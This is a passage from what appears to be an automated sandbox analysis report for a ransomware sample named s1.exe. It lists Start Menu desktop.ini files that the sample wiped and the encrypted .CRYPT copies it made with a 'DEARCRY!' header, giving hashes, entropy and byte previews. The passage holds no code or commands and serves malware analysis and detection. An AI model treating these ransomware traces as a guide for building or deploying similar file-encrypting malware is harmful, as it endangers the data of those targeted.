                                                              SHA-512:9E0E41BB328FA9D7F299D00149E42A87E72980B76551044B0AFBC1D97930A34DFF62882D2BA92163308810E597EA726752E0D6E8C6D0F55643A85FF7FE86C902
                                                              Malicious:false
                                                              Preview: DEARCRY!.... .....&X.|.3S.yt.......<6%.".......}.VQ5.....:..8.....}+.......[...{(:3........c...*...\....e....o.....tZ.*....Y...m.o......b.X.A.7.f.....UC...&....1..,l...+.$V.1."..m.3B.......$l...^..l.j.....^.3....r%.JT..l%..i..!.'..j..0.A................r........yz..j...&CV$Xta~`|.k.......*.1.l...m.5No..z.C+Ao......>..l?M+ZyC.....L...)P......x.........#o.....HE\.>.Kc....D..G.G..]`A~.8<+.7m<h..!.....g....O.%..f......^.H..0..`c.%`K,.P...|...hO.7..S.sk.......b.q.nX..T_..I...I.Y>....D.....y.U.......3..b....G....Y.n..8G.%.-.%..d.z..?9.}...z.T.......1x.}..gZx~....p...G .6i.:..!.0:........TIK.=.<.>+}..%..s2.\...pf..'.
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):85
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E956031D7BFE0E613C86B6D27FD126A0
                                                              SHA1:BCC9FE3FFF88FF66DF70C1E53401A28C5873BD63
                                                              SHA-256:6C99E32B005A3A4956B9406AB15411E666C7F67982DB170AE1FB111EC634B9C4
                                                              SHA-512:AA4ACFF27639061E8FA9A93D69D7DDCB0C4153B3C6657451D2120A4BEB262A96A5550AA4BEDC866258AD1ED35CD2392949B556A3F1C5402B95F7CBBA7309AB6D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):376
                                                              Entropy (8bit):7.279140666341841
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AC0E31930F1F596E3913043A66E88C12
                                                              SHA1:F36E59EB37421C2763DEEE704D11D2C53A84A655
                                                              SHA-256:250F01A31E4CEC1F8895A0D6071E83F01965C9463A0371853F9FF6CA0CE35BF7
                                                              SHA-512:AB57EE4CADDA88820763AA1663778322486E261B5D367DADA3AC52FDD2C350359D20C16A5E3060EFD9DFCF10FF4780D27BF99A38A14E946905083386946729E1
                                                              Malicious:false
                                                              Preview: DEARCRY!........C.V./m..5....l.%.n..<8|h......U4...........?....#l.../..._2.Y....jq.~.#E.rk.......I..M....-,..I.....zf.[.....&..Z.v...b.....H~SG%.Zo7q...(.~\.r..=....d.oU!Rx..r....:0......#.B..m.....y....e:ZR......?kS.....&C}.7..B...:..u*.4L)..D...D..l....U........w.C/<.....4F..X...X.2.&...P......u...E../.C.?...yU.AF.7.....?#/gT^...-.jC.C...D'.B...g!
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1362
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AD18E43AA3B981A732FDEE527C505190
                                                              SHA1:7FA986E0BB92F786437D9734F3DD462E396F4425
                                                              SHA-256:14CCCDE0BC083B9D329FDDC339F7B4C17B293DA99555A491488FF8E9DC660F8B
                                                              SHA-512:6A5AB416FB7BA6ED98A3184A2519033D4935AC9CC50E149B03532C144CEB48D6317BBE8EDE009D094B4B52EC115772199FE11919F69CC89AA358455B74CB89CA
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1656
                                                              Entropy (8bit):7.895336125739801
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:EC7D2890A82B48262C6866B8F7C5E8FD
                                                              SHA1:79BD6D6DD597AF538DC09D37AA7A3EBEB014B6E4
                                                              SHA-256:6F4E8D92DA8EF4FF85BD9641EA0B4791EC344CDBBF080898F652BCCCC9F9EEC6
                                                              SHA-512:D93C174C581456839C673374597B2B10C0AA3495745D59B8E246A5037AA090E9B135A4B44712EBD9DFE4B9B3062BE420C1EB26C1E04208C6E2677C4CD89F2A37
                                                              Malicious:false
                                                              Preview: DEARCRY!....D...6.s..[......g^...n.V......zQ..$V.`..\\l..A..h.-g......V.-.....lk.u.x.aG..+.>.wB...X..W.U.w.5J.^.5..t..O..7'.F.`.<.8;.[cP... .&2.....x.P.ec.\..g^...9.6...B...c.....6......*)...*0..V...p.s..&.Q].o...E...[w2.....8..Y.G...g/!d\#...lW.V......4........R........o.A:;.e.&......1).\..#....6..sP......X...?...(.:...H.%..a..1.H.J.vb..Z..S&.y.9O.ba.b..h....OV1.p/..9.E..^t.(L./.n}.......T.{...F..;/.L....LM....p.uW..Y......3.O..Z...[W%+V./.4.E.|x..........%>.*.q;..+..........F.....H...j1.T.I>..<..{....`.Oz.i.MAh.Z:S...:.0..K.......(..C.}..}./.!?u.F..s...l.......3X#...%.UF.K.<..j.4.v..9.W..u..... ...v#....f..k....F>.t.f...|....;...=......gt...[.KO.w......$....m!h...W7_6...M\........{.....p.:S.qI.u..b...d......\..lo....<...>.0s....n6.%I.t...bP.......d9j.s..I..D.......I+5...q...1..'#.....VK4...!4K.f....(Ca...=l..w...<...V..L.O..e&#./w...I.+.a.M^t..l&KD..!..M1.[7.m..=ay..7k.?.k.._g.{.......G$j..RA...FI....5.O...{S.....V..=h..+.7......Y'
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):52174
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:18FB2BFA5567CD23621F7CB1988578A4
                                                              SHA1:4EB0DC47CAFAA1B7B674E4C2C4CA9DB08D50A451
                                                              SHA-256:59E601E84371F7B1B04502D37DF870C28183A2128384A34FBC34E4E261C31C7D
                                                              SHA-512:768E35A008AFBEE00110CAEEFEA554924238563DEAADCD4AAE4BA2AFB62DF4EBEE22E9F92CB597A76306A090C1D4E4E1DD6ADACD071EC612F0B908AFC39DD0DD
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):57608
                                                              Entropy (8bit):7.994817866369215
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:57328344D31E1E4C21A0A7A69F5A02DC
                                                              SHA1:A55FC38150F995CAE29E2A09139F06BE983FDC66
                                                              SHA-256:B29EE4688D3EB6C21EDEDB968A93F7A14764476BF9F59F922B10FC793F700F1D
                                                              SHA-512:6150F0D5E2AB59CB79E9C6F78FC4A18E37B30C843E33ED937ABECD112465EAD3D256477F4B01688979CEF575C963238E5B0A7586DB22AC9D9BEBEC5C6911DEC8
                                                              Malicious:true
                                                              Preview: DEARCRY!....q$...s.X..@.[MH^.....e..\>....P.M.z.>w.....Y.4....h..(...s..(..}.l;~.........XX..Q.{.....z.W9..6+=.q..)G:...-.......3.m...y......2...XS.;`[.F@.ol....?.-....S.p..G..Y.x.....Q......(...E"Ra.q...s.....%.s.x..u.....*..G.9i.3.A....~H....#...5.{k....(.,..............08<..Br.0...d}O.......d_...4.fy..T.. ..zy...A_.d.a1..gp..(.c...J).+:...Y.....?...8..z..%.A........6...`..F..Ny.k..`.....$K.-.9..5.......<..W{UD......1.)..u..q..^0.[Tl...7..w..p..S4'q.WM`......_...H.../.pz.%kh.M.R6F.....N........].xW....t....UC2m..4.E...M...|..6.E.z(...!|..h..Fub#..K...U..W.h..Ga.*...A........a......t..R1.A..~...4.y.[...r... .7...ak.j.....Z..\....0.ew^&@I... ....r....~..d..)f.d.D.+.....|.Q.;.u%9.$...*..].).5.!P.+.He...\..[..O.....>.....JY...R.@.b}U..>Sq4..M..oz.*:..R...D....Uv..Ce!.......4...`T.8..i...VN.>.[.-f....?..H".B....x.(.V.A........?p............."..>L..:fW..<.S..W'e^e.*@.W....L...xm.......~..........Y..,....k.K......Cq.i.?O.pFP.b.... .'j_...'mv.=...m;..
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):170
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C5F74317E9F328452E4240295B6229FB
                                                              SHA1:79169F0F0A049A094AD818B8E4717CF43FCBBF98
                                                              SHA-256:7E5112B5DB200307FE7148CBF8CC0BB8F2F520EFE3BC902D72C226B5BDBCA0B8
                                                              SHA-512:E2EDD7C91D35677EE83403E93468C9F51B00B556E644929F0509DD6DFBE920FAC685B7F48A2339A081A30AF68EEFE667BDCF6403AB38490B89B97E0CF0DC03D6
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.430799446578077
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5E724C283A13A49427DFF2807947D105
                                                              SHA1:0845C0249A605FB6D14237AB5C1E86794418B8B3
                                                              SHA-256:933A5B4A1CAD284F9335C15963D1EB287188B6FA69895C312D92513F2CFD7C87
                                                              SHA-512:1CEFAEFDC3EFEFF73E13BB132E8B29737F483CEBFBAFAF97A0CBF4291FE0ADAA1EA988ACAB4CD7125F5D5C74232F40E004815951005377B1FE7E328F08B1AFAE
                                                              Malicious:false
                                                              Preview: DEARCRY!.....8....l...RY?.....!......4(...g../"vK.j..}(.)......|...y......:$P.`-.3..X...Q.FR.9.5.1..~....s.b.c...^.E!...Jin..F..&...C...AK.Y....o*.\...:...GMF.."=.X..0v.........l~<.(...'....ea..I.&K...n...m..)]M/s.3..+9G.,..E[.....lS.y...E.6.....aL.Y\...................|"...}.o..5+.._.E.LO.6...Y..Y..E}.'C.B...'...O5.@qeCV....A.W...=...;M...Qr0A(..6.C.=..u.U...!M..`Dq..G...._.au..s.r.[./.!`.}....);....=.`...cuN."...S:0..I('/|..oy..k
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016 Tools\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):494
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5D5C142D5E2C3C0F8FB91462CF9D6E7E
                                                              SHA1:69887F19D96CEEEBC4F58D3A49C5D79AEA308A03
                                                              SHA-256:70732E7FEE8B6191AE91AF27C6CBFD276D41E62BD423FE634A28EE28C4A934C2
                                                              SHA-512:24DC2E7AE4A7A84BC8E6EEFC80860FB44484C569391CB848FD12EBE9C5BC0E87C11CCA48929FE866F634D8129CA69037F894E20F43ED3BA9157151396750D92B
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office 2016 Tools\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):776
                                                              Entropy (8bit):7.66705867465609
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B4963C00895AD624B247754158F7B204
                                                              SHA1:04D5BD13B9E975694BCA588FFF5BF35F72C46F76
                                                              SHA-256:C3826BCFA41F303DE732C729708F1759C4B5871D72597C8F739D2ACFB13CF2BF
                                                              SHA-512:2AD77E5A626650D54C768313E6F86AE1D5991A597C02910260286E806405576EF790FF007B11330F1C5F3F42A3C7881A9A4BF36866DCE39F31241FB69EEA7FF4
                                                              Malicious:false
                                                              Preview: DEARCRY!......t.SH..]:...N..9..R.z..'B...h..6..B......oD6.......U..~.m..N.nt..;.`.3 .?.&|...bE..S}@,.B<i.y58P.g#).>:...E?`...=.M.....q.yY..&.U..r..?..F.au...y....(....O..~....i...L4*>.{.M...|......<..%E...?..dg+..x.!....c..{... N.{.b_.H...<.....}8.s...............b.}s.:.@M7..u#Ct>.iWu..,7&......(+..R....2)bx.B....C...yO.l=~Q.k.A.H..Y..yg..5.......}K......s...S.......I..P...y0.^R....V.sUP..&\LW......z...Z.nz....).C 1.A......^.`Yi.......e.y.......Q.o...\..|&...$u9d.}.X.t..O...L'd6.V .#..R.RW.wH.4...Mm...S..&.8.;.M..1$...g.%V.1f....tnk......6r....*.x..2.SaG.,Vs...k7{(.1.}..g..S.2..v.<z.T>.}.(.....?.....%Id..5....2....Z&!#A. ...6..G...EC...3[mx....`d....Z.&..+.....4b..........;.......c....l..*y(bQ.......$...l.Z.'.....qe.u.Sl~n..
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):174
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ACE3165E852ADB8AEDBEDA2AA3BE570B
                                                              SHA1:4577FF7E92850E2723008F6C269129BD06D017EA
                                                              SHA-256:237F73D46D3501DE63EAE1F85FDF37E65DDCED70F013B7F178D1EE52B08F051F
                                                              SHA-512:CF77563B9295B191CE2F309E03618D1AB4D317F65B87DBECC4904EE2D058DB06D23C20C199571B0FAFB67AE5EC5166B76AF0B7D8BFE3996B0DDE9751E28F8C03
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):456
                                                              Entropy (8bit):7.4574260023896475
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D79C835702B971C444C5F90E35C3454F
                                                              SHA1:5C080B2380E58BE393407BD460D9DF757AAA1ECE
                                                              SHA-256:E5641D29D6CA9C406A533338A5D11F449C5230B475ACEEB0286005241E5A91B7
                                                              SHA-512:7D358FB34EFB00B3763FD5891F45C28B2D1AB5DDD3F33F8BF384104A0A92F6A5C8518B488847CDB83C48AC60F3E0CC116A36D36A910C83B44ADDBE9824F39081
                                                              Malicious:false
                                                              Preview: DEARCRY!........hP[5P.).h.....C.G.../.z.p......9Z......A.W.....".d..@...t.>S.............J......F/."?./\...D.#w........0..6T.+n{#.W..f......*..t...y...,.\.w7@...n8......[.2..r.o.6x.L.o.5gY}..o.>.='.K..=..TF....Q...H.]%.`/.&..#..t.....y..}../0.h1.B.n8..o..............x.#O.o%F+U2Q..).v......*..u.F.!0a2k._.B.A.8..-.y.....Ci.BB..k:$.=.w.n....i..&.z.2'.$.%+..\yhD..$.j7.p:.........:....P..@.I..2...~...[...Q.%...Q6H...0.U.....T.N../'...XQ.Z
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):338
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E54914068570928FEBE65C8DC7FDE287
                                                              SHA1:46D0A3754B75FAFAD74CFA0912CCF2D9457C14B4
                                                              SHA-256:A4C65A576C9848BD6438BA704E90BE3D2EA275F83DE420608343F6A27691640D
                                                              SHA-512:0A34DB8E8A6FF3E67E1AF3E63F062A2E7B8F43F8D74A620F130ED25BDA34A3300003EA95C3A1ED86D4348A34E450548075FB3D914B87BEB25CAF4B430F84DB00
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):632
                                                              Entropy (8bit):7.639312218941183
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2343312B41E8E69676E2129FF285D4CA
                                                              SHA1:33D20BB425C25346DDBCEB8F13FE0D4BA1C5D880
                                                              SHA-256:55EB5610B3984C37951AC98FFF6677DA9FFB29676FD387A5EEA2C2C250495684
                                                              SHA-512:58EA18FC3223403A3E00BA589AE9501C55DCAF6A9D4EAB091100FCE0B70920B0D5D6D22DB61691F1CEF628146119D3ECDC7D6B8A5C7AA4DA9337FBCDC6E5F448
                                                              Malicious:false
                                                              Preview: DEARCRY!.....5@H;.-.6S... ..L.N|?........%.5(...K......OJ......{>Uy/..[.G...j0.+....(.'.Zf.L...Vt.Cf..`.x....M..`.g....Lh.$.....23l).......~T.:...c..Pr..B....^%.M.1a..H...C.g..\L.%.vf.Y.h.2..|..R.+....8.|.bJ..\0e....3.V.MI{..}..4..|P.Nq...*l.Xqx.P3.*bG.=J....R.........h.....L.@.......s.t.....Y. ....U..X.b..?<..x.}l..u......iS.L_b.Y4.....e..l.p..U.u.m.....*\..F..@.......I.ge...ub/..d........L..........R. y.4.O..hwg0k.1{h......Hgj}e..*...D.s.8.B.%......n........>S6i....f.h4.!.`HQ&...Z.;u].p . ws....&_..%.lR.U.. .<...i.. .{F...'.....]Lm./.|%.BB....p.9y...n2\>..Uv.qn......n....bNM...F3%.(..O...u*....
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):15540
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8BFEE947F36D077E5B82F28DE4095120
                                                              SHA1:6F6D6B0DD91FDCA56A5CE7F494E4CF11050672F3
                                                              SHA-256:D0705723609EC4DD0B3563AB9A6846AB1B418F82E1706DCD4E73D3B8DB981F72
                                                              SHA-512:21123D7320C6E8576A32089DC37589A6D8FF9C5AFB895C91965C4FCEC4AABD48CBBC750DD1BEDAB3BD6BEED33B7A16E417C7C797855CC3B3FC41CA6F6C9C9752
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):21672
                                                              Entropy (8bit):7.974749313373875
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:B62F2D60F5653A91AA3DC5DFB42655AA
                                                              SHA1:5F3B5A6D268FA5207EA8F68CCA4B885D9B1FAAE8
                                                              SHA-256:47BDE53248463196784D4495E095F55864D47F0767ECB08A144F215624991361
                                                              SHA-512:27F822AE7E3F8AB9C6814736765C6661EBA2B6FA3650777A3FF2BBD7D3F8407BD88FCECF34BCA77BBA511BCE6AE12762C3C05A058E78569A0C5668445097FB80
                                                              Malicious:false
                                                              Preview: DEARCRY!....W....V..F.Bu....{+.W.........]`.<.1.j.2.cO9.y17N(Cylr.X..L\....].oX..o.......8I>&..}..4c).00!!..xC.k...n..A....nA.S..3..0~J....d=gR.7..e..C.....P.*..?.g6.....d...4x.`Qsy)......@x.L4.B...kG.X.....A.y..?.-g[...;..L..0.q...0b/..mD.|&?iv#F..y.............\6.).r.....w.%............u h......v./..?...LO.......8..p.*")+..5._#&....Ud.u....>..L:.)2.[1...C+O......B.+Q.h...........uCi...@.12.O.H..T.F.PUH.%.*.?.}n.................,......t...".e..gT!3.........xn......).[.....y...)..Lo&...``..<.i..*v..O....}..4.... .a...L!.%.f.M.)..T#6....I.$^ O...u......7C. .8..'\+...$K.W.3... ......So.C...:...k.X.4...d.l...;..k...5..SH.......A..!...'....u@...)'_...dc}..P.9D..@..;..Z...a...J.I..3...<1ZRoR6....6.......H...d....].....H'k.!#..K`t..nU....-.k.....|B.eY....O./.o.-.m..6+e.8.&...9Si*).,..U...g.....v.4&.|mK.B..t.>:Bq.ot."v..~}.....h..,......g..y,,&nL].=$...K..F...........P.y....e.(....n`..<...*...J..c..U.....a.].).81..D....5S...L.5...F...<.*.
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):174
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:ACE3165E852ADB8AEDBEDA2AA3BE570B
                                                              SHA1:4577FF7E92850E2723008F6C269129BD06D017EA
                                                              SHA-256:237F73D46D3501DE63EAE1F85FDF37E65DDCED70F013B7F178D1EE52B08F051F
